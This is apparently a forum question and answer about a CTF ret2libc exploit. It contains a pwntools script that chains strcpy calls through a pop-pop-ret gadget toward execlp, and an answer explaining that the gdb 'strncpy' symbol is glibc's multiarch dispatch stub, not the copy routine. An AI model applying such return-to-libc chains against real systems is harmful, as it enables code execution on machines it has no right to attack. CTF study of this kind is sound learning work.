I am trying to solve a CTF challenge in which I need to use ret2libc. The problem is that when I try to use strcpy to put some text inside a buffer for latter use, it does not seems to work. The challenge box still vulnerable to "ulimit -s unlimited" so we can fix libc addresses. Here is my current python code:
from pwn import *
def r2lc_print(write_buff,read_buff):
strcpy_addr=0x55607a40
pop2ret=0x55643876
return p32(strcpy_addr)+p32(pop2ret)+p32(write_buff)+p32(read_buff)
buffer_size=172
execlp_addr=0x55643970
c00_str_addr=0x55575d37
a00_str_addr=0x55575d5e
t00_str_addr=0x55575440
write_buff=0x55576858
print cyclic(buffer_size)+r2lc_print(write_buff,c00_str_addr)+r2lc_print(write_buff,a00_str_addr)+r2lc_print(write_buff,t00_str_addr)+"A"*4
I got strcpy address by issuing "p strcpy" inside gdb.
The problem is that strcpy does not seem to be complete, as neither of the instructions or calls do any data movement:
0x55608320 <strncpy>: push ebx
0x55608321 <strncpy+1>: call 0x556b5c63
0x55608326 <strncpy+6>: add ebx,0x127cce
0x5560832c <strncpy+12>: cmp DWORD PTR [ebx+0x368c],0x0
0x55608333 <strncpy+19>: jne 0x5560833a <strncpy+26>
0x55608335 <strncpy+21>: call 0x555a48b0
0x5560833a <strncpy+26>: lea eax,[ebx-0x120e54]
0x55608340 <strncpy+32>: test DWORD PTR [ebx+0x36a0],0x4000000
0x5560834a <strncpy+42>: je 0x55608370 <strncpy+80>
0x5560834c <strncpy+44>: lea eax,[ebx-0x117f14]
0x55608352 <strncpy+50>: test DWORD PTR [ebx+0x36bc],0x10
0x5560835c <strncpy+60>: jne 0x55608370 <strncpy+80>
0x5560835e <strncpy+62>: test DWORD PTR [ebx+0x369c],0x200
0x55608368 <strncpy+72>: je 0x55608370 <strncpy+80>
0x5560836a <strncpy+74>: lea eax,[ebx-0x11f554]
0x55608370 <strncpy+80>: pop ebx
0x55608371 <strncpy+81>: ret
I think the code you're seeing at glibc's strncpy
symbol does the runtime CPU dispatching during lazy dynamic linking. It looks like the asm in sysdeps/i386/i686/multiarch/strcpy.S
. This file is built multiple times (via a #include into other files), with the STRCPY macro defined to strcpy, strncpy, and maybe others.
I think it just returns a function pointer for the version of str[n]cpy that should be used, and the dynamic linker code that called it stores that pointer into the PLT and then calls it.
If you compile a tiny C program that calls strncpy twice, you can single-step into the second call and lazy dynamic linking will already be done.
#include <string.h>
int main(int argc, char**argv) {
strncpy(argv[0], argv[1], 5);
strncpy(argv[1], argv[2], 5);
}
compile with gcc -m32 -Og foo.c -g
.
In Ubuntu 15.10's libc-2.21.0.so, the PLT jump takes you a function outside of any symbol, according to gdb. (I put set disassembly-flavor intel
and layout reg
in my ~/.gdbinit
to get TUI register and asm "windows".)
>|0xf7e68fa0 push ebx |
|0xf7e68fa1 mov edx,DWORD PTR [esp+0x8] |
|0xf7e68fa5 mov ecx,DWORD PTR [esp+0xc] |
|0xf7e68fa9 mov ebx,DWORD PTR [esp+0x10] |
|0xf7e68fad cmp ebx,0x8 |
|0xf7e68fb0 jbe 0xf7e6ba40 |
|0xf7e68fb6 cmp BYTE PTR [ecx],0x0 |
|0xf7e68fb9 je 0xf7e6aef0 |
|0xf7e68fbf cmp BYTE PTR [ecx+0x1],0x0 |
|0xf7e68fc3 je 0xf7e6af10 |
... eventually a movaps / pcmpeqb / pmovmskb loop. This function is the real strncpy implementation, and doesn't dispatch to anything else.